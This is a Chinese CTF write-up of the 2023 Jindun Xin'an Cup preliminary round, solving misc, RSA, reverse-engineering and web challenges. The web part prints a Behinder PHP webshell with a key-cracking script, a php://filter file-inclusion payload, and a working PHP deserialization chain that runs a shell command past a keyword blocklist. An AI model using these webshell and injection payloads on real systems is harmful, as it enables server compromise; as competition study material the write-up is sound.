2023金盾信安杯初赛wp

前言

第二次参加金盾信安杯了,记得去年参加是在寒假,由于“口罩原因”学校放假早,在进行完第二次考核之后就回家了,当时也没有学到什么。回到家由于知道自己要参加第一次省级赛事,不敢划水了。。。
第一次参加的时候应该也是8个小时(具体记不清了),我知道,我是真的做不出来题目,但是最后还是混了一个三等奖。
今年再次参加,本以为会有一个不错的成绩,可是从比赛名次上也看出来了自己还有很多不足,不算很高但也不是很低(混了一个一等),总感觉自己在很多方面还很欠缺,继续努力吧!!!!
123

解题过程

MISC

Hakiehs

将attachment.vsdx文件后缀改为zip文件然后解压,在文件里找到这个图片
132
从上到下分别为botw、GERUDO、樊凡语
456
789
789
分别找出对应的字母
linkzeldaganon

来都来了

456

附件打开直接弹出密码,拖进winhex里看是伪加密,将标志位改成00 00
789
另存为一个文件,打开得到一段txt文本文件
789
怀疑是base64进行解密后发现好像是一段字符串
123
复制下来后拖进记事本缩小字体得到flag
789
flag{cp2ae315-eef4-3fra-a768-cd9xb19cdk4e}

芙宁娜

打开图片进行将其中图片中的base64编码进行解码
798
由于这个flag的格式是uuid

标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (8-4-4-4-12)

也就是说此时尾部还差4个字符,此时我们还没有想到爆破flag,就是先找到另外的解法,但是当时一位队员尝试爆破后4位字符(制作字典,抓包爆破,真的是可行的),最终得到了正确答案8e8f(由于比赛已经结束,现在无法根据返回包判断)
456

Crypto

我看看谁还不会RSA

import gmpy2
import secret

m = secret.flag
p=8666789885346075954502743436174521501697
q=2449101960789395782044494299423558347143
n = p*q
phin = (p-1)*(q-1)
e=37777
d = gmpy2.invert(e,phin)
c = pow(m,d,n)
print(c)
# c = 8232151627233115772131180151146951323147507324390914513031444555762539986162650

写如下脚本运行得到d、m的数值,得到的d值再赋值给e重新运行得到flag

import gmpy2 as gp
import binascii

p=8666789885346075954502743436174521501697
q=2449101960789395782044494299423558347143
e=37777
c=8232151627233115772131180151146951323147507324390914513031444555762539986162650
n = p*q
phi = (p-1)*(q-1)
d = gp.invert(e,phi)
m = pow(c,d,n)
print(d)
print(m)
print(bytes.fromhex(hex(m)[2:]))

456
789
flag{r5a_Who_w0nt}

RE

RE1

789
发现是64位,于是拖到64位ida里面
找到main函数进行F5反编译得到如下代码
789
跟进关键函数sub_401AD0(v6);接着跟进sub_401850(Block);
789
V9为密文,上面的&unk_473040,中有一些奇怪的数据,按C转汇编代码后
789
选中汇编代码P创建函数F5反编译
789
分析发现是类RC4解密算法,将题目给的密文用这段代码解密得到flag。

#include <iostream>

    void  aaa(unsigned char* a1, int a2, int& k)
    {
    int v3[515] = { 0 };
    int v4;
    char v5;
    int j;
    int v7;
    int i;
    v7 = 0;
    for (i = 0; i <= 255; ++i)
    {
    v3[i] = i;
    v3[i + 256] = *a1;
    }
    for (j = 1; j < a2; ++j)
    {
    for (i = 0; i <= 255; ++i)
    v3[i + 256] = a1[j - 1];
    for (i = 0; i <= 255; ++i)
    {
    v7 = (v3[i + 256] + v7 + v3[i]) % 256;
    v4 = v3[v7];
    v3[v7] = v3[i];
    v3[i] = v4;
    }
    v5 = 0;
    for (i = 0; i <= 255; i += 2)
    {
    v5 += v3[i];
    v5 ^= v3[i + 256];
    }
    if (j == (a2 - 2))
    {
    k = v5 & 0xff;
    }
    }
    a1[a2 - 2] ^= k;
    }

    int main()
    {
    int k = 0;
    for (size_t i = 2; i < 34; i++)
    {
    int mm = i;
    unsigned char v9[] =
    {
    0x63, 0xBD, 0x80, 0x56, 0x7D, 0x4C, 0xC6, 0xD5, 0x44, 0x66,
    0x6D, 0x2C, 0x98, 0xA4, 0x1E, 0x50, 0x19, 0x5C, 0x9E, 0x41,
    0x8B, 0x55, 0x05, 0x32, 0xBF, 0xE1, 0x7E, 0xFA, 0xB2, 0x93,
    0xF6, 0x2A
    };//提取的就是v9的值
    aaa( v9, mm, k);
    std::cout << v9[mm - 2];
    }
    return 0;
    }

    }

    return 0;
    }

运行得到flag
789
flag{ ca1acd0c7d7111eeaf0296085339ce83}

WEB

ezupload

456

非预期:访问/flag就可以得到flag
456
flag{68cfa555-80e7-4cee-a85a-4c59826862b0}

ApeCoin

dirsearch扫描目录扫到压缩包文件www.tar.gz,同时访问/robots.txt
456
访问see_see_this,发现乱码
789
改变编码之后如下
789
在翻找源代码时发现冰蝎php马

<?php
@error_reporting(0);
session_start();
    $key="13e40b614fcb3e19";
    $_SESSION['k']=$key;
    session_write_close();
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");
        
        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

到此思路就是要找到此冰蝎马的连接密码
使用记事本将see_see_this文件打开发现存在多列
456
尝试零宽度字符解密
456
得到的base64进行解密
456
猜测冰蝎马密码是8位数字,上脚本:

import hashlib
def encrypt_number(number):
    md5_hash = hashlib.md5(str(number).encode())
    return md5_hash.hexdigest()[:16]
target_hash = "13e40b614fcb3e19"

for i in range(10000000, 99999999 + 1):
    encrypted_number = encrypt_number(i)
    if encrypted_number == target_hash:
        print(f"Found match: {i}")
        break

运行结果为74658263
然后连接冰蝎马,找到flag。
456
flag{1af1bb84-4c97-4b26-a38f-826a88e204f9}

easyphp

打开网页得到如下代码

<?php 
highlight_file(__FILE__); 
error_reporting(0); 

require_once('flag.php');  //   usr/share/nginx/html 

$win = $_GET['win']; 
if(isset($win)) 
{ 
    require_once($win);     //  hint.php 
} 
else 
{ 
    echo $hint; 
}

很明显的文件包含构造playlod

playload:http://123.56.121.61:46874/?win=php://filter/convert.base64-encode/resource=hint.php

得到base64解码,得到如下代码

<?php
error_reporting(0);

class mouse
{
    public $rice;
    function __isset($n){
        $this->rice->nothing();
    }

}

class dog
{
    public $a;
    public $b;
    public $c;
    function __wakeup(){
        $this->a = 'chance?';
    }
    function __destruct(){
        $this->b = $this->c;
        die($this->a);
    }
}

class ct
{
    public $fish;

    function __toString()
    {
        if(isset($this->fish->d))
        {
            echo 'you wrong';
        }
    }

}

class get
{
    public $cmd;

    function __call($name,$no)
    {
        eval($this->cmd);
    }
}

$pop = $_GET['pop'];

if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|base|echo|cp|\$|\*|\+|\^|scan|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$pop)){
    echo "you will get flag".'</br>';
    unserialize($pop);
}
else{
    die("Try again!");
}

很明显的反序列化,以及浅拷贝的知识点,构造链子,在根据链子写出php代码

<?php
error_reporting(0);

class mouse
{
    public $rice;
}

class dog
{
    public $a;
    public $b;
    public $c;
    function __construct(){
        $this->b=&$this->a;
    }
}

class ct
{
    public $fish;
}

class get
{
    public $cmd;

}
$a=new dog();
$b=new ct();
$c=new mouse();
$d=new get();
$a->c=$b;
$b->fish=$c;
$c->rice=$d;
$d->cmd="print(`nl /realflag/you_want_flag.php`);";
echo serialize($a);

运行得到:
O:3:"dog":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";O:2:"ct":1:{s:4:"fish";O:5:"mouse":1:{s:4:"rice";O:3:"get":1:{s:3:"cmd";s:40:"print(`nl /realflag/you_want_flag.php`);";}}}}

构造payload
hint.php?pop=O:3:"dog":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";O:2:"ct":1:{s:4:"fish";O:5:"mouse":1:{s:4:"rice";O:3:"get":1:{s:3:"cmd";s:40:"print(`nl /realflag/you_want_flag.php`);";}}}}

得到网页查看源码得到flag

789

get_source

抓包发送发现X-Powered-By: PHP/7.4.21
查找PHP/7.4.21相关漏洞
456
与题目相符,经过尝试发现访问index.html得到源码
456

<?php
if ($_POST['a'] !== $_POST['b'] && md5($_POST['a']) === sha1($_POST['pwn'])) {
    echo file_get_contents('/flag');
}
?>

简单数组绕过即可

a[]=1&b=2&pwn[]=1

456

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信